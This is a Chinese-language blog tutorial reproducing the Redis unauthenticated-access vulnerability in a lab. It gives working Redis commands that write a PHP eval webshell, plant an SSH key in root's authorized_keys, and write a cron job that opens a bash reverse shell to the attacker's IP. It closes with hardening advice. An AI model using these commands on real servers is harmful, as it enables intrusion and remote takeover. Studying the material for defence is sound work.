Redis未授權漏洞復現

smileleooo發表於2024-05-01

目錄
  • Redis
  • 漏洞的產生條件及利用
  • Redis環境搭建
  • 漏洞復現
    • 利用Redis寫入Webshell
    • 利用Redis寫入SSH公鑰
    • 利用Redis寫入計劃任務
  • Redis安全防護

Redis

redis(remote dictionary server)是一個 key-value 儲存系統,是跨平臺的非關係型資料庫。

redis 預設情況下,會繫結在0.0.0.0:6379,如果沒有采用相關的安全策略限制,redis服務會暴露在伺服器公網上。如果此時又沒有設定密碼認證(預設為空),則會導致任意使用者在可以訪問目標伺服器的情況下未授權訪問redis以及讀取redis的資料。

漏洞的產生條件及利用

漏洞的影響版本

redis 2.x,3.x,4.x,5.x

漏洞的產生條件

1、redis繫結在0.0.0.0:6379,沒有采用相關的安全策略限制,直接暴露在公網。

2、沒有設定密碼認證,可以免密碼遠端登入redis服務。

漏洞如何利用

1、利用redis寫入webshell

2、利用redis寫入ssh公鑰

3、利用redis寫入計劃任務

Redis環境搭建

第一種方式:下載安裝符合漏洞版本的redis並解壓,進入到redis目錄中,執行make,透過make編譯的方式來安裝。

第二種方式:使用docker搭建vulhub靶場環境。

踩坑:

建議使用第一種方式,我用vulhub復現的時候存在redis不是root許可權啟動的問題:
設定路徑為/root/.ssh/時報錯:(error) ERR Changing directory: Permission denied
查閱相關文章,說redis並不是以root啟動的,可能需要修改docker-compose.yml配置以root使用者來執行容器、參考文章docker-compose privileged root,嘗試了設定privileged:true讓容器以root許可權執行,但是修改配置以後,重新構建環境失敗。

首先下載安裝符合漏洞利用的低版本redis:

wget http://download.redis.io/releases/redis-2.8.17.tar.gz

解壓安裝包:

tar xzf redis-2.8.17.tar.gz

進入redis目錄編譯安裝:

cd redis-2.8.17
make

make結束後,進入src/目錄啟動服務:

cd src/
redis-server ../redis.conf

image

可以看出redis服務6379已經啟動,nmap掃描到目標主機的6379埠為open狀態。

image

如果nmap掃描到的6379埠沒有開放,需要關閉防火牆,雲主機需要在安全組開放埠。

漏洞復現

環境:靶機Ubuntu IP:192.168.88.150 攻擊機Kali IP:192.168.88.128

利用Redis寫入Webshell

服務端的redis預設沒有設定密碼認證,在攻擊機上能用redis-cli可以直接登陸連線。若服務端存在Web服務,並且知道Web目錄的絕對路徑,那麼可以向該目錄寫入webshell,然後使用蟻劍之類的工具連線getshell。

Kali安裝redis-cli遠端連線工具:

wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd redis-stable
make

安裝完畢以後,進入src/目錄使用redis-cli登入:

redis-cli -h 目標主機IP

image

預設情況下requirepass引數是空的,也就是說預設情況下是無密碼驗證的,這是未授權訪問的利用的條件之一。

image

nmap探測到靶機開啟了Web伺服器。

image

已知Web目錄的路徑為/var/www/html。

將dir設定為/var/www/html目錄,意為將指定本地資料庫存放目錄設定為/var/www/html。將dbfilename設定為檔名shell.php,即指定本地資料庫檔名為shell.php。再執行save命令就可以寫入一個路徑為/var/www/html/shell.php的檔案,save命令將當前redis例項的資料寫入到磁碟,持久化儲存。

image

寫webshell的時候,可以使用:

set webshell "\r\n\r\n<?php eval($_POST[whoami]);?>\r\n\r\n"

\r\n\r\n 是換行的意思,用redis寫入檔案的會自帶一些版本資訊,如果不換行可能會導致無法執行。

進入靶機檢視,如下圖所示說明webshell寫入成功。

image

使用蟻劍連線成功:

image

利用Redis寫入SSH公鑰

透過redis向目標伺服器寫入ssh公鑰,將公鑰放到linux系統的/root/.ssh/authorized_keys的檔案中,本地客戶端透過對應的私鑰進行免密登入。

條件是服務端存在.ssh目錄並且有寫入的許可權,還需要redis是root啟動,因為非root許可權無法進入/root目錄。

首先在攻擊機的/root/.ssh目錄裡生成ssh公鑰key:

cd ~/.ssh
ssh-keygen -t rsa

image

接著將公鑰寫入key.txt檔案(前後用\n換行,避免和Redis裡其他快取資料混合):

(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > /root/.ssh/key.txt

連線目標伺服器上的redis服務,將儲存的公鑰key.txt寫入redis資料庫:

cat /root/.ssh/key.txt | redis-cli -h 192.168.88.150 -x set pkey

使用redis-cli -h ip,將檔案寫入:

image

連線目標機器redis,設定redis的路徑為/root/.ssh/和儲存檔名為authorized_keys,然後儲存。

config set dir /root/.ssh
config set dbfilename authorized_keys

image

ssh利用私鑰成功登入。

image

利用Redis寫入計劃任務

寫入計劃任務和寫webshell和ssh公鑰的原理類似,連線服務端的redis,寫入反彈shell的計劃任務:

config set dir /var/spool/cron/crontabs
config set dbfilename root
set x "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.88.128/12345 0>&1\n\n"
save

然後Kali上監聽12345埠:

nc -lvp 12345

雖然靶機被寫入反彈命的定時任務,但是kali上一直沒有收到:

image

檢視crontab的日誌輸出了 cron[808]: (root) INSECURE MODE (mode 0600 expected) (crontabs/root)

image

原因:

因為預設redis寫檔案後是644的許可權,但ubuntu要求執行定時任務檔案/var/spool/cron/crontabs/<username>許可權必須是600才會執行,否則就會報錯(root) INSECURE MODE (mode 0600 expected)。

所以這個方法在Ubuntu上行不通。

綜上無法利用的原因可能有:redis不是以root許可權啟動,沒有可以寫入檔案的路徑或許可權,檔案許可權不足等。

Redis安全防護

  • 繫結本地登入地址:在配置檔案中設定 bind 127.0.0.1,限制僅本地訪問

  • 設定複雜密碼:不使用預設空密碼,設定一個強複雜密碼

  • 禁用遠端連線:設定 protected-mode 和 rename-command 防止遠端連線

  • 網路隔離:將 Redis 服務放在內網環境,不向公網開放埠

  • 賬號許可權控制:設定只允許特定賬號從指定IP進行訪問

  • 認證機制擴充套件:透過外掛進行LDAP、Kerberos等認證控制

  • TLS加密傳輸:使用SSL證書對連線進行加密保護

  • 實時監控:監控並阻止異常訪問和命令執行


若有錯誤,歡迎指正!o( ̄▽ ̄)ブ

相關文章